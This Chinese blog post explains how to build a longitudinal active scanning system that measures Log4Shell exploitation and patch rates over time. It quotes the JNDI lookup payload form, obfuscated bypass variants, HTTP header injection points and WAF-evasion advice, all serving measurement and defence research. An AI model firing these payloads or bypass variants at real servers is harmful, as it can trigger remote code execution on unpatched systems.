尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

从Log4Shell到纵向测量:主动式网络望远镜如何量化漏洞利用态势

从Log4Shell到纵向测量:主动式网络望远镜如何量化漏洞利用态势 2021年12月那个周五晚上Log4ShellCVE-2021-44228的PoC刚公开不到半天我所在的工作群里就已经有人在讨论“互联网上到底有多少Java服务会被这个洞打穿”。当时各种扫描器、漏洞利用工具铺天盖地但大多数人的判断都来自零散的资产测绘和厂商通告真正能回答“攻击者在过去几周到底在怎么利用这个漏洞、打了多少目标、补丁到底什么时候生效”的长期观测数据几乎没有。我当时的做法是围绕主动式网络望远镜搭了一套纵向测量方案从2022年初开始连续跑了好几个月专门跟踪Log4Shell的利用态势。这套东西本身并不复杂主动扫描大规模IP空间、构造触发请求、用独立回连标识确认漏洞是否真实执行然后把每一次观测按时间轴串起来。但真正把“能扫”变成“测得准”中间踩过的坑比想象中多得多。这篇就把完整的测量思路、关键实现和那些文档里不会写的细节拆开讲清楚适合正在做漏洞态势测量、威胁情报分析或者想搞明白纵向测量该怎么设计的人参考。1. 为什么是Log4Shell漏洞测量对象的选型逻辑1.1 Log4Shell的“测量价值”在哪里互联网上有大量漏洞但不是每个漏洞都适合做纵向测量。Log4Shell几乎是教科书级别适合的测量对象原因我总结为三点。第一触发面极广。Log4j2是Java生态里最主流的日志框架只要业务代码里对用户可控的输入做了一次logger.info()、logger.error()之类的操作攻击者的字符串就有可能被拼进日志并触发lookup解析。这意味着从Web应用、API网关到中间件、数据库连接池海量系统都可能暴露测量时不需要针对特定产品做适配探测载荷可以统一构造。第二利用指令可以在一次请求内完成。Log4Shell的核心是JNDI lookup表达式攻击者把它放在HTTP请求头、GET参数、POST体甚至User-Agent里都能触发。对测量方来说这意味着只要往目标服务发一个携带探测标识的请求然后看有没有来自目标IP的回连就能确认漏洞是否真实执行整个验证链路非常干净。第三补丁节奏和绕过变体链条特别长。从2.15.0的默认关闭lookup到2.16.0删除JNDI相关类再到2.17.0修复格式化消息的递归风险官方连续打了好几个补丁而每种绕过方式大小写变形、嵌套lookup、Unicode转义都有各自的存活周期。测量这个漏洞本质上是在测量“整个互联网的修复速度”和“攻击者的武器库迭代速度”这两个维度的数据对防御方太有价值了。1.2 主动式网络望远镜和被动监测的差异很多人一听“网络望远镜”会想到暗网IP空间监听、被动流量分析那套东西——捕获发往未使用地址空间的扫描和攻击流量。被动式望远镜的优点是隐蔽、不产生额外流量但它只能看到“别人已经在打的东西”看不到“还没有人发现的目标”。主动式网络望远镜的思路正好相反它主动向大面积IP空间发送探测请求构造可能触发漏洞的输入再根据目标的响应行为来判定结果。两者的差异用一个生活类比来说就是被动式像是在小区门口装了个摄像头记录谁来过主动式是你亲自挨家挨户敲门问“你这儿门锁有没有坏”。长期做漏洞利用态势测量主动式的优势是决定性的——它能给出暴露面的绝对数量、探测成功率和随时间变化的趋势而不仅仅是攻击流量的大小。另外还有一个差别被动式观测到的是“真实攻击”主动式观测到的是“我们主动触发的响应”。所以主动式测量的数据一定要设计好“确定性确认机制”否则很容易把目标服务的一般性报错、WAF拦截页当成漏洞存在证据。这也是我后面重点讲回连确认的原因。1.3 纵向测量和横向快照的差别横向扫描解决的是“现在这一刻网上有多少系统存在这个漏洞”相当于给互联网拍一张X光片。但只有纵向测量才能回答“这批系统是啥时候开始变少的”“新出现的利用者集中在哪个时段”“同一个目标被不同攻击者反复利用的时间间隔大概多久”。举一个很直观的例子单轮扫描发现某CDN节点后面有1000台机器存在Log4Shell横向结论是“有1000台受影响”。但你如果连续八周每周扫一次会发现第一周是1000台第二周变成620台第三周只剩180台——这时候才真正明白了补丁部署的衰减曲线。而如果再叠加上回连的攻击者指纹你还能区分出“这些系统是被同一个僵尸网络在批量试探”还是“不同攻击者各自在精准打击”这对威胁情报的价值完全不一样。纵向测量的时间跨度设计也很关键。太短比如一两天看不出修复趋势太长比如一年又会因为目标服务下线、IP重分配引入太多干扰噪声。我实测下来以“周”为轮次、连续8到12周是比较合理的区间。2. 方案设计主动式网络望远镜的搭建思路2.1 整体架构四层数据流整套测量系统我拆成了四个模块探测调度层、载荷构造与发送层、回连接收层、数据存储与分析层。探测调度层负责控制扫描目标列表、轮次节奏和速率限制。目标列表不一定是全量IPv4可以按端口开放情况做预筛选也可以聚焦某些网段。载荷构造与发送层把包含唯一回连标识的Log4j lookup表达式写入HTTP请求的不同位置按目标服务的端口和协议调整发包方式。回连接收层运行一个权威DNS服务和HTTP服务专门接收漏洞触发后目标系统发来的解析请求或HTTP请求。这里就是“望远镜”的镜头所有确认证据都从这里来。存储与分析层把探测记录和回连记录按时间、源IP、目标IP关联起来形成纵向数据集再做去重、归因和趋势分析。我最初犯过一个设计错误只记录了“哪些目标响应了探测”没有记录“探测本身何时发出”。后来做时间序列分析时才发现如果探测时间和回连时间对不上就无法准确判断漏洞利用的延迟时间也没法剔除那些被WAF缓冲后延后回连的数据。所以从第一天起每条探测记录都必须带上精确到秒的时间戳和轮次编号这是纵向测量的数据基石。2.2 扫描目标与速率控制不能拿全网当靶场很多人觉得主动式测量就应该直接在全IPv4空间里猛扫我完全不建议这么做。第一是合规风险第二是会产生大量噪声第三是某些云厂商和运营商对扫描源有自动封禁机制扫描源一旦被封整个纵向数据就断档了。我当时的做法是分阶段收敛目标先用一份已有的端口测绘数据比如只关注80、443、8080、8443、8009等常见Web和中间件端口筛选出存活主机再对这些主机发送探测请求。这样既覆盖了Log4Shell最常暴露的攻击面又不会把扫描流量浪费在完全无关的IP上。速率控制方面每秒钟的探测包数根据源IP带宽和目标网段的容忍度动态调整基本原则是单目标并发不超过2个请求整体速率宁可慢一点也不要触发对方的DDoS告警。这里补一个基于常见实践的细节如果你想复现这套测量建议先拿一个/24的测试网段跑通全流程确认回连接收正常、数据清洗没问题之后再逐步扩大到/16甚至更大的范围。一上来就全量扫描出了问题根本没法排查因为日志里全是混杂的探测和回连记录。2.3 为什么对Log4Shell的测量必须看回连而不是状态码有的读者可能会问为什么不直接根据HTTP响应状态码来判断漏洞是否存在比如请求里塞了lookup表达式返回500就说明解析报错了返回200就说明没触发。这恰恰是最容易产生误判的地方。Log4j2在解析lookup失败时大多数情况下不会影响业务响应业务接口照样返回200。而某些服务即使成功触发了JNDI查询也可能因为网络隔离、DNS解析超时等原因对外表现正常。反过来如果目标服务本身有参数校验遇到非法输入就返回400/500也可能造成“漏洞存在”的假象。所以我在设计确认机制时刻意让每个探测目标携带一个不可预测的UUID子域名比如u48x2k9q.example.com只有当目标服务器真的去解析这个域名并回连到我的DNS/HTTP服务时才判定为漏洞触发。这个思路可以类比快递签收你不能因为包裹显示“已到达”就认为客户真的拿了必须拿到客户本人签收的回执才算。另外用回连标识还能自然应对一类干扰某些目标入口存在SSRF或重定向逻辑可能导致探测请求被转发到第三方内网地址此时普通状态码会骗你但回连标识会指向异常来源我们可以据此剔除这些无效记录。这算是我在实际测量里发现的一个附属价值。3. 测量流程核心实现从探测到识别的关键细节3.1 探测载荷构造既要触发又要能归因Log4Shell的触发路径是JNDI lookup核心表达式形如${jndi:ldap://hostname/path}。测量场景下我会针对不同目标和不同探测位置做几个调整。第一协议栈的选择。默认的JNDI lookup可以通过LDAP、RMI、DNS等多种协议回连实际测量中我主要用LDAP和DNS两种。LDAP回连能携带更多上下文信息比如Java版本、操作系统信息但有些网络会过滤非标准端口的外部LDAP流量DNS回连则几乎不会被拦可靠性更高。我建议优先用DNS回连保底再附加LDAP回连补全环境指纹。第二编码变体的覆盖。Log4j官方补丁出来之后攻击者开始用大小写混写{Jndi:}、嵌套表达式${${lower:j}ndi}、Unicode转义等绕过过滤规则。测量漏洞的纵向趋势时不能只测最原始的载荷因为那样观察不到“绕过手法的演进”。我会在每一轮扫描里同时发几组不同编码形式的探测请求分别记录回连情况这样时间轴上就能看到哪些变形手法在什么时候开始大规模出现。第三植入位置的多样性。HTTP请求头里的X-Api-Version、User-Agent、RefererGET参数值POST表单字段JSON体里的字符串值这些都是Log4j日志可能记录的来源。我通常会对同一个目标发多组请求覆盖不同位置因为有些服务只对特定位置的输入做日志记录。一个比较容易翻车的点是探测载荷里的域名长度和格式要严格控制。有些Java服务的日志框架会截断超长字段导致回连域名不完整有些则会做字符转义。我在构造时会把UUID子域名控制在20个字符以内并避免使用会造成JSON解析冲突的特殊字符这样能显著提高回连成功率。3.2 确认逻辑与去重规则别把一次抖动当成趋势回连接收层收到一条记录只能说明“某个目标IP执行了我们发送的lookup表达式”。但从原始记录到可分析的结论中间至少要经过三层清洗。第一层是白名单过滤。把已知的扫描器、爬虫、DNS预取服务、公共DNS递归器等来源直接剔除这些流量不是漏洞触发而是正常的网络行为。第二层是时序关联。只有“探测发出时间在回连时间之前的合理窗口内我通常取前后10秒”的记录才有效凡是回连早于探测的通常是目标系统里的缓存或者别的测量系统触发的必须丢弃。第三层是目标去重。同一个目标IP在同一个轮次内多次触发只保留第一次回连时间后续回连作为“重复触发”单列不参与漏洞暴露数量统计。这层工作看起来枯燥但直接决定纵向结论的可信度。我见过有人用原始回连日志画趋势图结果发现曲线每周都在涨最后定位原因是有台扫描器自己中招了在疯狂回连——这种脏数据如果不洗掉整个分析都会失真。3.3 数据组织按时间、来源、目标三个维度切分清洗之后的数据我会落到一张明细表里核心字段包括探测轮次、探测时间、源IP也就是我的扫描机、目标IP、目标端口、触发位置HTTP头还是POST体、载荷变体类型、回连类型DNS还是LDAP、回连时间、原始UA等。统计时切三个视角按时间维度统计每轮“新发现的目标数”“持续复现的目标数”“消失的目标数”。新发现数曲线代表漏洞的扩散和被利用节奏持续复现数代表尚未修复的存量消失数则近似代表修复或下线行为。按来源维度把回连来源IP做聚类结合UA指纹和回连域名特征区分“通用扫描器扫描”“定向攻击”“自动化蠕虫”这几类行为。比如回连URL路径总是相同的UA里带特定工具名的基本可以判定是某个僵尸网络在批量利用。按目标维度把目标IP关联到端口、服务指纹、ASN和地理信息分析漏洞暴露集中在哪些行业和地区。这种三维组织方式让后续的图表和分析能同时回答“总量多大”“谁在打”“打哪里”三个问题。4. 常见问题与排查技巧实录4.1 回连率低得离谱怎么排查我第一轮全量扫描跑完回连率不到千分之一当时一度怀疑是载荷构造有问题。排查之后发现是回连域名解析链路的锅我的权威DNS服务器部署在海外节点部分目标网络到该节点的UDP DNS请求被防火墙拦截了。后来我在多个地理区域部署了权威DNS副本并用Anycast方式对外服务回连率立刻上来了。经验是回连接收层必须足够健壮否则测量系统本身会变成最大的误差来源。如果你严格复现初期可以先只统计“DNS回连日志中目标IP解析了我的UUID子域名”这一条路径等链路稳定后再加LDAP和HTTP回连。4.2 同一个目标这周测有、下周测没是误报吗纵向测量中最常见的困惑是目标回连状态在轮次间跳变。我把这种现象分为三类目标服务重启或版本回滚Log4j配置变化导致lookup不再触发这属于真实的修复状态变化。目标前置了WAF或IPS规则把包含${jndi:特征的请求直接拦截此时回连消失是因为“我们没送到”而不是“目标修复了”。这种情况需要用不同编码变体绕开WAF后再验证一轮才能下结论。目标服务本身有负载均衡不同后端实例的Log4j版本和配置不一样导致同一入口在不同轮次表现不一致。这在实际互联网环境里非常常见。所以我在纵向数据表中专门加了“验证方式”字段记录每一轮是用哪种载荷变体、从哪个入口触发的。凡是只有一种变体触发过、后续变体全部失败的目标我会在分析中标记为“待定”不轻易算进修复统计。4.3 工程侧的几个坑速率、存储、扫描源被封一次纵向测量跑下来工程问题常常比分析逻辑更消耗精力。速率控制不当的后果很直接扫描源IP被封禁。解决思路是准备多个扫描源按轮次轮换并且每次扫描前先探测一下扫描源IP的连通性。如果你的测量规模不大甚至可以用云函数按地域分布调度把扫描流量分散到不同IP降低单点被封的风险。存储方面回连日志看起来不多但探测明细是海量的几轮跑下来就是几亿条记录。我有一次因为没做分区索引查询“某个UUID何时回连”花了十几分钟。建议从一开始就按“轮次日期”做分区回连明细单独建表不要和探测明细混在一个宽表里。还有一个常见误区是把目标列表固定不变。实际上IP地址的分配会变化上轮开放的端口这轮可能关了所以每一轮探测前都应该重新做一次目标存活探测用更新后的列表去发请求。否则随着轮次推移静态列表带来的偏差会越来越大最后你测量的不再是“真实漏洞态势”而是“静态列表的老化曲线”。4.4 如何区分扫描器与真实攻击者纵向测量里最容易让报告失真的是你看到的“利用行为”其实来自别人的扫描器而不是真正在植入恶意载荷的攻击者。区分方法我主要看三点一是回连频率。扫描器通常是单轮大量试探对同一个目标一两次后就离开而蠕虫和僵尸网络会反复回连、尝试不同变体。二是载荷内容的复杂度。扫描器一般只带最原始的表达式攻击者的载荷里往往包含复杂的命令编码和额外的回调信息。三是目标选择模式。扫描器倾向于均匀覆盖地址空间定向攻击者则会集中在少数网段、特定行业或特定端口上反复尝试。这套判断逻辑不完美但结合时间序列看基本能把“噪声”和“信号”分开。我最终报告里的“活跃利用者数量”从来不是回连IP的总数而是经过上述三要素打分后超过阈值的那部分。5. 这套测量还能怎么延伸从Log4Shell到通用漏洞纵向观测跑完Log4Shell的纵向测量之后我最大的感受是这套以“主动探测回连确认时间序列分析”为核心的测量框架其实可以平移给很多漏洞类别。OWASP Top 10里所谓的“脆弱和过时的组件”类风险本质上就需要靠这种长期测量才能量化而不是靠单次扫描出个报告就完事。具体来说所有可以通过可控请求触发、并能产生回连或可观察状态变化的漏洞——包括FastJSON反序列化、WebLogic的JNDI注入类漏洞、表达式注入、某些SSRF利用链——都可以套用类似的纵向测量模型。你只需要改动两样东西一是探测载荷的构造方式二是判定漏洞是否触发的回连特征。我后来在做其他漏洞类型的测量时把回连接收层做成了可配置的模板每种漏洞类型对应一组探测规则和回连确认规则但调度、清洗、去重、时间序列存储这些底层逻辑完全复用。实测下来从新漏洞爆出到第一版纵向测量上线最快可以压缩到两天以内。最后分享一个我个人认为这套方法论里最重要的一个原则纵向测量永远不要只看“有没有被利用”的绝对值要看“变化率”。因为单一的绝对数字受扫描覆盖度、目标列表质量、WAF拦截率的影响太大但你连续观测同一个测量口径下“本周比上周新增多少修复”“本周比上周新增多少利用者”这些相对变化才更接近真实攻防态势。测量口径一旦确定就不要中途随意调整宁可慢一点也要保持数据的连续性。这个内容后续还能扩展到资产测绘联动、漏洞情报预警和补丁有效性评估三个方向。如果你也想跑类似的测量我的建议是从一个具体的漏洞和一个可控的网段开始把“回连确认”和“时间序列清洗”这两件事做扎实再逐步放大规模——这套东西的复杂度从来不在于扫描器和载荷而在于你能不能长期稳定地、用同一个口径持续观察下去。
返回列表